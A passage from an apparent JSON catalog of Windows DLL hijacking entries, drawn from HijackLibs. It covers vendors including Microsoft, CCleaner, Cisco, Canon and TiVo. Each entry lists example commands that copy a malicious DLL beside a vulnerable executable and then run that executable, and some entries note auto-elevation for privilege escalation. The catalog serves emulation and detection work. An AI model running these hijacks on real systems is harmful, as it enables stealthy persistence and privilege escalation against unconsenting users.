    "name": "calibre-launcher.dll",
    "namespace": "windows:dllhijack:calibre-launcher",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.huntress.com/blog/advanced-persistent-threat-targeting-vietnamese-human-rights-defenders"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/calibre-launcher.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cc32290mt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Ahnenblatt4\\\\Ahnenblatt4.exe\\\\cc32290mt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Ahnenblatt4\\\\Ahnenblatt4.exe\\\"\"\n\n# cc32290mt.dll\n\n**Vendor:** Ahnenblatt\n\n**Expected Location:** %PROGRAMFILES%\\Ahnenblatt4\\Ahnenblatt4.exe\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Ahnenblatt4\\Ahnenblatt4.exe (Sideloading)\n\n**Acknowledgement:** Josh Allman\n\n**Acknowledgement:** Amelia Casley\n\n**Acknowledgement:** Faith Stratton\n",
    "_source": "windows-dllhijack-cc32290mt.md",
    "author": "Josh Allman",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cc32290mt.dll — Sideloading hijacking (Ahnenblatt)",
    "execution": {
      "template": "cc32290mt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cc32290mt",
    "name": "cc32290mt.dll",
    "namespace": "windows:dllhijack:cc32290mt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/dab744a533bcbc4a2d3f19a54694ceb00587a0ce68d046ca9085d5013321ea5a"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cc32290mt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cc3260mt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\TiVo\\\\Desktop\\\\cc3260mt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\TiVo\\\\Desktop\\\\TiVoServer.exe\\\"\"\n\n# cc3260mt.dll\n\n**Vendor:** TiVo\n\n**Expected Location:** %PROGRAMFILES%\\TiVo\\Desktop\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\TiVo\\Desktop\\TiVoServer.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-cc3260mt.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cc3260mt.dll — Sideloading hijacking (TiVo)",
    "execution": {
      "template": "cc3260mt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cc3260mt",
    "name": "cc3260mt.dll",
    "namespace": "windows:dllhijack:cc3260mt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/3d8181ea38667550d141f813372b2d7bae7b7f43cdc17e24688d72be97751505/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cc3260mt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ccleanerreactivator.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\CCleaner\\\\ccleanerreactivator.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\CCleaner\\\\CCleanerReactivator.exe\\\"\"\n\n# ccleanerreactivator.dll\n\n**Vendor:** Gen Digital\n\n**Expected Location:** %PROGRAMFILES%\\CCleaner\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\CCleaner\\CCleanerReactivator.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-ccleanerreactivator.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ccleanerreactivator.dll — Sideloading hijacking (Gen Digital)",
    "execution": {
      "template": "ccleanerreactivator.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ccleanerreactivator",
    "name": "ccleanerreactivator.dll",
    "namespace": "windows:dllhijack:ccleanerreactivator",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d665f55555f87b515cb8ef1adce9592a83662a8c4efa34f6ffdd022475bd176a"
      },
      {
        "label": "Reference",
        "url": "https://lab52.io/blog/2344-2/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ccleanerreactivator.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious cdpsgshims.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cdpsgshims.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\svchost.exe\\\"\"\n\n# cdpsgshims.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\svchost.exe (Phantom) [PrivEsc]\n\n**Acknowledgement:** itm4n\n",
    "_source": "windows-dllhijack-cdpsgshims.md",
    "author": "k4nfr3",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "cdpsgshims.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "cdpsgshims.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-dllhijack-cdpsgshims",
    "name": "cdpsgshims.dll",
    "namespace": "windows:dllhijack:cdpsgshims",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://itm4n.github.io/cdpsvc-dll-hijacking/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cdpsgshims.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious certcli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\certcli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# certcli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-certcli.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "certcli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "certcli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-certcli",
    "name": "certcli.dll",
    "namespace": "windows:dllhijack:certcli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/certcli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious certenroll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\certenroll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certenrollctrl.exe\\\"\"\n\n# certenroll.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certenrollctrl.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-certenroll.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "certenroll.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "certenroll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-certenroll",
    "name": "certenroll.dll",
    "namespace": "windows:dllhijack:certenroll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/certenroll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cfgmgr32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cfgmgr32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\write.exe\\\"\"\n\n# cfgmgr32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\write.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cfgmgr32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cfgmgr32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cfgmgr32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cfgmgr32",
    "name": "cfgmgr32.dll",
    "namespace": "windows:dllhijack:cfgmgr32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cfgmgr32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious chrome_frame_helper.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\Google\\\\Chrome\\\\Application\\\\chrome_frame_helper.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"chrome_frame_helper.exe\\\"\"\n\n# chrome_frame_helper.dll\n\n**Vendor:** Google\n\n**Expected Location:** %LOCALAPPDATA%\\Google\\Chrome\\Application\n\n**Vulnerable Executables:**\n- chrome_frame_helper.exe (Sideloading)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-chrome-frame-helper.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "chrome_frame_helper.dll — Sideloading hijacking (Google)",
    "execution": {
      "template": "chrome_frame_helper.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-chrome-frame-helper",
    "name": "chrome_frame_helper.dll",
    "namespace": "windows:dllhijack:chrome-frame-helper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/chrome-frame-helper.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ci.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Digiarty\\\\WinX Blu-ray Decrypter\\\\ci.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Digiarty\\\\WinX Blu-ray Decrypter\\\\WinX Blu-ray Decrypter.exe\\\"\"\n\n# ci.dll\n\n**Vendor:** Digiarty\n\n**Expected Location:** %PROGRAMFILES%\\Digiarty\\WinX Blu-ray Decrypter\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Digiarty\\WinX Blu-ray Decrypter\\WinX Blu-ray Decrypter.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-ci.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ci.dll — Sideloading hijacking (Digiarty)",
    "execution": {
      "template": "ci.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ci",
    "name": "ci.dll",
    "namespace": "windows:dllhijack:ci",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/2560b7390da7c7a1d92050d9c1f5e3a8025cd35fff5360fe73583b5e3f48731e"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/ae2453d0e03d72759d5239dcfe9518d6a721319006613a41f8bb53d37d4d1391/details"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7306316b53f915aaff06f00896829884db857b7e5c2747188ae080cad5b8c0e1"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ci.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ciscosparklauncher.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\CiscoSparkLauncher\\\\ciscosparklauncher.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"CiscoCollabHost.exe\\\"\"\n\n# ciscosparklauncher.dll\n\n**Vendor:** Cisco\n\n**Expected Location:** %LOCALAPPDATA%\\CiscoSparkLauncher\n\n**Vulnerable Executables:**\n- CiscoCollabHost.exe (Sideloading)\n",
    "_source": "windows-dllhijack-ciscosparklauncher.md",
    "author": "Sorina Ionescu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ciscosparklauncher.dll — Sideloading hijacking (Cisco)",
    "execution": {
      "template": "ciscosparklauncher.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ciscosparklauncher",
    "name": "ciscosparklauncher.dll",
    "namespace": "windows:dllhijack:ciscosparklauncher",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/"
      },
      {
        "label": "Reference",
        "url": "https://www.joesandbox.com/analysis/279535/0/html"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ciscosparklauncher.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious classicexplorer32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Classic Shell\\\\classicexplorer32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"ClassicExplorerSettings.exe\\\"\"\n\n# classicexplorer32.dll\n\n**Vendor:** Classic Shell\n\n**Expected Location:** %PROGRAMFILES%\\Classic Shell\n\n**Vulnerable Executables:**\n- ClassicExplorerSettings.exe (Sideloading)\n",
    "_source": "windows-dllhijack-classicexplorer32.md",
    "author": "Pokhlebin Maxim",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "classicexplorer32.dll — Sideloading hijacking (Classic Shell)",
    "execution": {
      "template": "classicexplorer32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-classicexplorer32",
    "name": "classicexplorer32.dll",
    "namespace": "windows:dllhijack:classicexplorer32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/classicexplorer32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious cldapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cldapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\compmgmtlauncher.exe\\\"\"\n\n# cldapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\compmgmtlauncher.exe (Sideloading)\n- %SYSTEM32%\\dpiscaling.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\resmon.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cldapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "cldapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cldapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-cldapi",
    "name": "cldapi.dll",
    "namespace": "windows:dllhijack:cldapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cldapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious clipc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\clipc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\licensingdiag.exe\\\"\"\n\n# clipc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\licensingdiag.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-clipc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "clipc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "clipc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-clipc",
    "name": "clipc.dll",
    "namespace": "windows:dllhijack:clipc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/clipc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious clusapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\clusapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dfsrdiag.exe\\\"\"\n\n# clusapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n- %SYSTEM32%\\tieringengineservice.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-clusapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "clusapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "clusapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-clusapi",
    "name": "clusapi.dll",
    "namespace": "windows:dllhijack:clusapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/clusapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cmpbk32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cmpbk32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cmdl32.exe\\\"\"\n\n# cmpbk32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cmdl32.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cmpbk32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cmpbk32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cmpbk32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cmpbk32",
    "name": "cmpbk32.dll",
    "namespace": "windows:dllhijack:cmpbk32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cmpbk32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cmutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cmutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cmstp.exe\\\"\"\n\n# cmutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cmstp.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-cmutil.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cmutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cmutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cmutil",
    "name": "cmutil.dll",
    "namespace": "windows:dllhijack:cmutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cmutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cnmpaui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Canon\\\\Canon IJ Printer Assistant Tool\\\\\\\\cnmpaui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"cnmpaui.exe\\\"\"\n\n# cnmpaui.dll\n\n**Vendor:** Canon\n\n**Expected Location:** %PROGRAMFILES%\\Canon\\Canon IJ Printer Assistant Tool\\\n\n**Vulnerable Executables:**\n- cnmpaui.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-cnmpaui.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cnmpaui.dll — Sideloading hijacking (Canon)",
    "execution": {
      "template": "cnmpaui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cnmpaui",
    "name": "cnmpaui.dll",
    "namespace": "windows:dllhijack:cnmpaui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e787f64af048b9cb8a153a0759555785c8fd3ee1e8efbca312a29f2acb1e4011"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cnmpaui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious coloradapterclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\coloradapterclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\colorcpl.exe\\\"\"\n\n# coloradapterclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\colorcpl.exe (Sideloading)\n- %SYSTEM32%\\dccw.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-coloradapterclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "coloradapterclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "coloradapterclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-dllhijack-coloradapterclient",
    "name": "coloradapterclient.dll",
    "namespace": "windows:dllhijack:coloradapterclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/coloradapterclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious colorui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\colorui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\colorcpl.exe\\\"\"\n\n# colorui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\colorcpl.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-colorui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "colorui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "colorui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-colorui",
    "name": "colorui.dll",
    "namespace": "windows:dllhijack:colorui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/colorui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
